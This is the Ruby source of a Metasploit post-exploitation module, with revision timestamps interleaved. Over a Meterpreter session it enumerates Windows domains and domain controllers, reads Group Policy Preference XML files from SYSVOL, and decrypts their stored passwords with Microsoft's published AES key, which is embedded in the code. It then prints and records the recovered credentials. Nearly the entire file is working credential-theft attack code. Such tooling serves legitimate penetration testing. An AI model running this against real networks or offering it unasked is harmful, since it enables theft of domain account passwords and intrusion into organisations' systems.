metasploit-framework/modules/post/windows/gather/credentials/gpp.rb

373 lines
11 KiB
Ruby
Raw Normal View History

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'rexml/document'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Group Policy Preference Saved Passwords',
'Description' => %q{
This module enumerates the victim machine's domain controller and
2012-06-21 17:46:20 +00:00
connects to it via SMB. It then looks for Group Policy Preference XML
files containing local user accounts and passwords and decrypts them
using Microsofts public AES key.
2012-06-21 17:46:20 +00:00
2012-06-23 17:45:56 +00:00
Tested on WinXP SP3 Client and Win2k8 R2 DC.
},
'License' => MSF_LICENSE,
'Author' =>[
2012-06-22 18:12:42 +00:00
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
2012-06-22 18:12:42 +00:00
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
2012-06-23 17:45:56 +00:00
'TheLightCosine <thelightcosine[at]metasploit.com>',
'Rob Fuller <mubix[at]hak5.org>' #domain/dc enumeration code
],
2012-06-21 17:46:20 +00:00
'References' =>
[
2012-06-22 10:14:19 +00:00
['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
2012-06-22 17:11:15 +00:00
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
2012-06-21 17:46:20 +00:00
register_options([
OptBool.new('ALL', [ false, 'Enumerate all domains on network.', true]),
2012-06-24 18:08:19 +00:00
OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains DOMAINS="dom1 dom2".'])], self.class)
end
def run
group_path = "MACHINE\\Preferences\\Groups\\Groups.xml"
group_path_user = "USER\\Preferences\\Groups\\Groups.xml"
service_path = "MACHINE\\Preferences\\Services\\Services.xml"
printer_path = "USER\\Preferences\\Printers\\Printers.xml"
drive_path = "USER\\Preferences\\Drives\\Drives.xml"
datasource_path = "MACHINE\\Preferences\\Datasources\\DataSources.xml"
datasource_path_user = "USER\\Preferences\\Datasources\\DataSources.xml"
task_path = "MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
task_path_user = "USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml"
domains = []
dcs = []
basepaths = []
fullpaths = []
print_status "Checking locally.."
2012-06-24 18:08:19 +00:00
locals = get_basepaths(client.fs.file.expand_path("%SYSTEMROOT%\\SYSVOL\\sysvol"))
unless locals.blank?
basepaths << locals
print_good "Policy Shares found locally"
2012-06-24 18:08:19 +00:00
end
if datastore['ALL'] and datastore['DOMAINS'].blank?
domains = enum_domains
domains.reject!{|n| n == "WORKGROUP" || n.to_s.empty?}
end
2012-06-24 18:08:19 +00:00
datastore['DOMAINS'].split('').each{|ud| domains << ud} if datastore['DOMAINS']
domains << get_domain_reg
domains.flatten!
domains.compact!
2012-06-24 18:08:19 +00:00
domains.uniq!
2012-06-27 15:06:15 +00:00
domains.each do |domain|
2012-06-24 18:08:19 +00:00
dcs = enum_dcs(domain)
next if dcs.blank?
2012-06-24 18:08:19 +00:00
dcs.uniq!
tbase = []
2012-06-27 15:06:15 +00:00
dcs.each do |dc|
2012-06-24 18:08:19 +00:00
print_status "Searching for Policy Share on #{dc}..."
tbase = get_basepaths("\\\\#{dc}\\SYSVOL")
#If we got a basepath from the DC we know that we can reach it
#All DCs on the same domain should be the same so we only need one
unless tbase.blank?
print_good "Found Policy Share on #{dc}"
basepaths << tbase
break
end
end
end
basepaths.flatten!
basepaths.compact!
2012-06-24 18:08:19 +00:00
print_status "Searching for Group Policy XML Files..."
basepaths.each do |policy_path|
fullpaths << find_path(policy_path, group_path)
fullpaths << find_path(policy_path, group_path_user)
fullpaths << find_path(policy_path, service_path)
fullpaths << find_path(policy_path, printer_path)
fullpaths << find_path(policy_path, drive_path)
fullpaths << find_path(policy_path, datasource_path)
fullpaths << find_path(policy_path, datasource_path_user)
fullpaths << find_path(policy_path, task_path)
fullpaths << find_path(policy_path, task_path_user)
end
fullpaths.flatten!
fullpaths.compact!
fullpaths.each do |filepath|
tmpfile = gpp_xml_file(filepath)
parse_xml(tmpfile) if tmpfile
end
end
def get_basepaths(base)
locals = []
begin
session.fs.dir.foreach(base) do |sub|
next if sub =~ /^(\.|\.\.)$/
tpath = "#{base}\\#{sub}\\Policies"
2012-06-27 15:06:15 +00:00
begin
session.fs.dir.foreach(tpath) do |sub2|
next if sub =~ /^(\.|\.\.)$/
locals << "#{tpath}\\#{sub2}\\"
end
2012-06-23 17:56:12 +00:00
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Could not access #{tpath} : #{e.message}"
end
end
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Error accessing #{base} : #{e.message}"
end
return locals
end
def find_path(path, xml_path)
xml_path = "#{path}\\#{xml_path}"
begin
return xml_path if client.fs.file.stat(xml_path)
rescue Rex::Post::Meterpreter::RequestError => e
# No permissions for this specific file.
2012-06-22 17:11:15 +00:00
return nil
end
end
def gpp_xml_file(path)
begin
groups = client.fs.file.new(path,'r')
until groups.eof
data = groups.read
end
2012-06-21 17:46:20 +00:00
spath = path.split('\\')
retobj = {
:dc => spath[2],
2012-06-24 18:08:19 +00:00
:path => path,
:xml => REXML::Document.new(data).root
2012-06-27 15:06:15 +00:00
}
if spath[4] == "sysvol"
2012-06-27 15:06:15 +00:00
retobj[:domain] = spath[5]
else
retobj[:domain] = spath[4]
end
return retobj
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} when reading #{path}"
return nil
end
end
def parse_xml(xmlfile)
mxml = xmlfile[:xml]
2012-06-24 18:08:19 +00:00
print_status "Parsing file: #{xmlfile[:path]} ..."
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
pass = decrypt(epassword)
user = node.attributes['runAs'] if node.attributes['runAs']
user = node.attributes['accountName'] if node.attributes['accountName']
user = node.attributes['username'] if node.attributes['username']
user = node.attributes['userName'] if node.attributes['userName']
2012-06-24 18:08:19 +00:00
user = node.attributes['newName'] unless node.attributes['newName'].blank?
changed = node.parent.attributes['changed']
2012-06-27 15:06:15 +00:00
expires = node.attributes['expires']
2012-06-24 18:08:19 +00:00
never_expires = node.attributes['neverExpires']
disabled = node.attributes['acctDisabled']
2012-06-24 18:08:19 +00:00
table = Rex::Ui::Text::Table.new(
'Header' => 'Group Policy Credential Info',
'Indent' => 1,
'SortIndex' => 5,
'Columns' =>
2012-06-24 18:08:19 +00:00
[
'Name',
'Value',
]
)
2012-06-24 18:08:19 +00:00
table << ["USERNAME", user ]
table << ["PASSWORD", pass]
table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
table << ["DOMAIN", xmlfile[:domain] ]
2012-06-24 18:08:19 +00:00
table << ["CHANGED", changed]
table << ["EXPIRES", expires] unless expires.blank?
table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
table << ["DISABLED", disabled] unless disabled.blank?
print_good table.to_s
report_creds(user,pass) unless disabled and disabled == '1'
end
end
#
# Save the raw version of unattend.xml
#
def save_raw(data)
store_loot('windows.gpp.raw', 'text/xml', session, data)
end
def report_creds(user, pass)
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
2012-06-22 13:36:29 +00:00
report_auth_info(
:host => session.sock.peerhost,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => source_id,
:source_type => "exploit",
:user => user,
:pass => pass)
end
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
2012-06-22 10:36:27 +00:00
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
2012-06-22 13:36:29 +00:00
return pass
end
def enum_domains
print_status "Enumerating Domains on the Network..."
2012-06-22 17:11:15 +00:00
domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
# Estimate new buffer size on percentage recovered.
percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
if percent_found > 0
buffersize = (buffersize/percent_found).to_i
else
buffersize += 500
end
2012-06-21 17:46:20 +00:00
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
end
count = result['totalentries']
print_status("#{count} domain(s) found.")
startmem = result['bufptr']
base = 0
domains = []
if count == 0
return domains
end
mem = client.railgun.memread(startmem, 8*count)
count.times do |i|
x = {}
x[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
domains << x[:domain]
base = base + 8
end
return domains
end
def enum_dcs(domain)
print_status("Enumerating DCs for #{domain}")
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
end
if result['totalentries'] == 0
print_error("No Domain Controllers found for #{domain}")
return nil
end
count = result['totalentries']
startmem = result['bufptr']
base = 0
mem = client.railgun.memread(startmem, 8*count)
hostnames = []
count.times{|i|
t = {}
t[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
base = base + 8
print_good "DC Found: #{t[:dc_hostname]}"
hostnames << t[:dc_hostname]
}
return hostnames
end
def get_domain_reg
locations = []
locations << ["HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\", "Domain"]
locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\", "DefaultDomainName"]
locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\DomainCache", "DefaultDomainName"]
locations << ["HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\", "MachineDomain"]
domains = []
locations.each do |location|
begin
subkey = location[0]
v_name = location[1]
domain = registry_getvaldata(subkey, v_name)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Received error code #{e.code} - #{e.message}"
end
domains << domain.split('.')[0].upcase unless domain.blank?
end
domains.uniq!
print_status "Retrieved domains #{domains} from registry"
return domains
end
end